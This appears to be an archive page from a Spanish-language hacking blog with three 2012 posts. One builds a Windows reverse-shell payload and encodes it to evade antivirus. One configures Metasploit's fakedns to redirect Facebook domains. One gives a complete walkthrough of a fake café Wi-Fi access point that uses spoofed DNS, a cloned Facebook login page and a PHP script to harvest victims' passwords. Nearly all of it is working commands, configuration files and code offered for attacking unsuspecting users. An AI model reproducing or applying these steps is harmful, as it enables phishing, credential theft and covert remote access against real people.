martes, 31 de julio de 2012

Evadiendo antivirus con metasploit - Parte 1

 Anoche releyendo el gran libro "Metasploit: The Penetration Tester's Guide: A Penetration Tester's Guide" me acordé de una herramienta muy útil de esta suite y que no siempre se le da la atención pertinente.
 Esta herramienta es msfencode y su principal utilidad es evitar los antivirus, para ello nos proporciona diversos algoritmos de codificación con el fin de eludir los AV.

  Veamos que algoritmos nos ofrece msfencode para codificar los ejecutables:
msfencode -l

  Antes de utilizar esta herramienta primero crearemos un payload básico utilizando msfpayload y comprobaremos que motores de antivirus lo detectan, para ello utilizaremos la conocida web virustotal:
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 X > p.exe
y veamos los resultados de virustotal:


 El siguiente paso es generar un payload y codificarlo con msfencode:
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.37 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -t exe -o payload.exe
 Donde:
  • R implica que el payload es generado en raw.
  • -e x86/shikata_ga_nai hace referencia al algoritmo utilizado.
  • -t exe implica que el formato de salida sera un exe.
  • -o payload.exe es el archivo generado ya codificado.
  a lo que virustotal responde:
con lo que vemos un pequeño descenso del indice de detección, pero podemos hacer mas :D .

En la siguiente entrada la segunda parte de msfencode ;).


5 0verl0ad Labs: julio 2012  Anoche releyendo el gran libro " Metasploit: The Penetration Tester's Guide: A Penetration...

martes, 24 de julio de 2012

Fakedns de Metasploit



  Hace una semana publiqué un post sobre lo que podría llegar a hacer un atacante con un punto de acceso falso y un servidor DNS adaptado a sus necesidades. En la entrada había que configurar un servidor DNS para realizarlo y, aunque es muy flexible, hay veces en las que es un trabajo laborioso y con algo mas simple seria suficiente.

  Para solucionar estos problemas existe el modulo fakedns de metasploit que mediante una simple configuración permite realizar un envenenamiento DNS. Veamos como habilitarlo:

El primer paso es iniciar metasploit, para ello:
msfconsole
Ahora invocamos el modulo:
use auxiliary/server/fakedns 
 El siguiente paso es cambiar el TARGETACTION a fake :
set TARGETACTION FAKE
 A continuación definimos el dominio que será redireccionado:
set TARGETDOMAIN *.facebook.com
Especificamos la dirección a la que se redirigiran las consultas a los dominios especificados antes:
set TARGETHOST 192.168.0.108
donde 192.168.0.108 es la IP del servidor donde se encuentra la copia de la web que se ha suplantado.

Para finalizar solo queda lanzar el módulo:
run
Ya solo queda que las víctimas visiten las direcciones especificadas y :D  .

Nos leemos en breve,

5 0verl0ad Labs: julio 2012   Hace una semana  publiqué un  post  sobre lo que podría llegar a hacer un atacante con un punto de acceso falso y un servidor DNS adap...

lunes, 16 de julio de 2012

Aburridos días de verano


  
  Ahora en verano con el calor que está haciendo apetece ir a las terrazas o cafeterías a pasar la tarde. En estos establecimientos cada vez es mas común que dispongan de acceso Wi-Fi para los clientes.
  El problema reside en que un atacante bien situado podría ofrecer una señal "golosa" con oscuras intenciones.

  En este post prepararemos un ataque que consistirá en montar un punto de acceso falso con airbase-ng (de la suite Aircrack-ng) y mediante la configuración de nuestro servidor DNS, engañaremos a las víctimas para que en lugar de visitar las páginas que quieran se conecten a las que nosotros controlemos para así conseguir sus credenciales. Ademas de utilizar un servidor DNStambién utilizaremos un servidor DHCP y un servidor Apache para almacenar nuestras páginas falsas. Todo esto lo montaremos sobre una máquina virtual con Bactrack 5 R2.


Preparando el entorno  -- Servidor DHCP


 [+] Instalar el servidor:
apt-get install dhcp3-server
 [+] Configurar el servidor:
===> Fichero /etc/dhcp3/dhcpd.conf
authoritative;
ddns-update-style none;
default-lease-time 600;
max-lease-time 7200;
subnet 10.0.0.0 netmask 255.255.255.0{
        range 10.0.0.100 10.0.0.254;
        option routers 10.0.0.1;
        option domain-name-servers 10.0.0.1;
}
Donde los parámetros interesantes son:

     [-] subnet 10.0.0.0 netmask 255.255.255.0 {}→ dirección de red y máscara de la
subred. Los clientes que se conecten al punto de acceso estarán en esta red.
     [-] range 10.0.0.100 10.0.0.254; → rango de direcciones que tendrán disponible los
clientes que se conecten.
     [-] option routers 10.0.0.1; → el router de la subred que será la interfaz de airbase. 
     [-] option domain-name-servers 10.0.0.1; → es el servidor DNS, en nuestro caso nuestra máquina con Backtrack.



Preparando el entorno  -- Servidor DNS


 [+] Instalar el servidor:
apt-get install bind9
 [+] Configurar el servidor:
===> Para el ejemplo del post suplantaremos la web de Facebook, con la finalidad de que cuando los clientes se conecten a la red social sean redirigidos a nuestro servidor Apache (que configuraremos en el siguiente punto).


===> Fichero /etc/bind/named.conf.options.

options {
        directory "/var/cache/bind";
        listen-on port 53 { 10.0.0.1; };
        forwarders {
                127.0.0.1;
                8.8.8.8;
                8.8.4.4;
        };
};

Donde listen-on port 53 { 10.0.0.1; };  indica que el servidor solo responda consultas del AP falso.

===> Fichero /etc/bind/named.conf.default-zones 
=> Añadimos al final del fichero la zona de Facebook.

zone "facebook.com" IN {
  type master;
  file "/etc/bind/db.facebook.com";
};

donde file "/etc/bind/db.facebook.com" contiene la configuración de la zona de Facebook.com.

===> Fichero /etc/bind/db.facebook.com.

$TTL    60
@   IN  SOA facebook.com. root.facebook.com. (
                  1     ; Serial
                  60     ; Refresh
                  86400     ; Retry
                  60     ; Expire
                  604800 )   ; Negative Cache TTL
;
@              IN      NS          facebook.com.
@              IN      A           192.168.0.107
@              IN      MX       0   facebook.com.
www         IN      A           192.168.0.107
es-es         IN      A           192.168.0.107


Las partes interesantes son:
www         IN      A           192.168.0.107
es-es         IN      A           192.168.0.107
que nos permiten redireccionar a un usuario cuando visite www.facebook.com o es-es.facebook.com  a nuestro servidor con la copia de la web solicitada.



Preparando el entorno  -- Servidor Apache + Clon de Facebook


  Puesto que Apache ya viene instalado en Backtrack no hace falta instalarlo. Además su configuración por defecto funciona para el ejemplo que trataremos, con lo que no voy a explicar como configurarlo ya que seria demasiado extenso.

 ===> Para clonar Facebook lo que haremos será guardar una copia de la página de inicio de la red social, para ello basta con "File->Save page as" y la guardamos en "/var/www". Después renombramos el .html a index.html (sustituimos el existente si lo hay) con la finalidad de que al conectar con nuestro servidor por defecto se sirva esa página.

  Lo que haremos a continuación es modificar la página guardada para que cuando se pulse el botón entrar se llame a un script en PHP que nos guardará los datos de login de la víctima en texto plano.
  La forma más simple de llevar a cabo esta tarea es buscar en el archivo index.html la cadena ->
action="https://www.facebook.com/login.php?login_attempt=1" method="post" onsubmit="return Event.__inlineSubmit(this,event)"
sustituirla por:
action="log.php" method="post" onsubmit=""
 ===> Ahora veamos el fichero log.php que guardaremos en el /var/www:
<?php
$f = fopen("datos", "a");
$usuario = "usuario ->  " . $_POST["email"] . "\n";
fputs($f, $usuario);
$pass = "password ->  " . $_POST["pass"] . "\n\n-------------------------\n\n";
fputs($f, $pass);
fclose($f);
header ("Location: http://www.facebook.com");
?> 
  De forma breve, podemos decir que el script lo que hace es almacenar en un fichero llamado datos las credenciales enviadas por la página de login de Facebook.

===> Crear el archivo datos y darle permisos:
touch datoschmod 666 datos

Con todo esto ya tenemos todas las herramientas preparadas para el ataque.



Lanzando el ataque

Con todo ya configurado, solo nos queda crear el punto de acceso falso y esperar a que se conecten las víctimas.

[+] Iniciamos los servicios necesarios:
==> Iniciamos el servidor DNS:
/etc/init.d/bind9 restart
==> Iniciamos el servidor Apache:
/etc/init.d/apache2 restart

[+] Airbase-ng:
==> Ponemos la interfaz en modo monitor (en mi caso wlan1) con airmon-ng:
airmon-ng start wlan1
==> Creamos el punto de acceso con airbase-ng:
airbase-ng -P -C 30 -c 6 -e cafeteriaFalsa mon0 
Este AP estará en el canal 6 (-c 6), su ESSID será cafeteriaFalsa (-e cafeteriaFalsa) y utilizaremos la interfaz en modo monitor llamada mon0.


[+] Redirigir el tráfico y últimos ajustes:
==>Habilitamos la interfaz del AP falso y le asignamos la IP 10.0.0.1. Esta dirección es la que antes en la configuración del servidor DHCP habíamos puesto como router de la subred (option routers 10.0.0.1;).
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
 ==> Lanzamos el servidor DHCP sobre la interfaz at0 perteneciente al AP falso:
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
==> Redireccionamos todo el trafico que provenga del AP falso (interfaz at0) a la interfaz eth1 (es la que tiene acceso a Internet en Backtrack) y viceversa, para ello utilizaremos Iptables:
iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADEiptables -A INPUT -s 10.0.0.0/24 -i at0 -j ACCEPTiptables -A OUTPUT -d 10.0.0.0/24 -o at0 -j ACCEPT 
==> Por último queda activar IP forwarding:

echo 1 >/proc/sys/net/ipv4/ip_forward


Conclusiones y consejos

Con todo esto ya tendremos un punto de acceso falso llamado cafeteriaFalsa que dará acceso a Internet a los usuarios que se conecten, pero además cuando un usuario acceda a Facebook será redirigido a nuestra copia de la conocida web social. 

 Si alguien quiere implementarlo tiene que tener en cuenta que la configuración de los servidores no es la óptima en cuanto a seguridad, pero es una configuración práctica en cuanto a resultados. 
 Sobre el script en php, se puede mejorar de miles de formas, pero ahí ya queda a la imaginación y las ganas de cada uno el mejorarlo.




Después de las conclusiones acaba este laaaaaargo post, nos leemos en breve ;)

5 0verl0ad Labs: julio 2012      Ahora en verano con el calor que está haciendo apetece ir a las terrazas o cafeterías a pasar la tarde. En estos establecimientos ca...
< >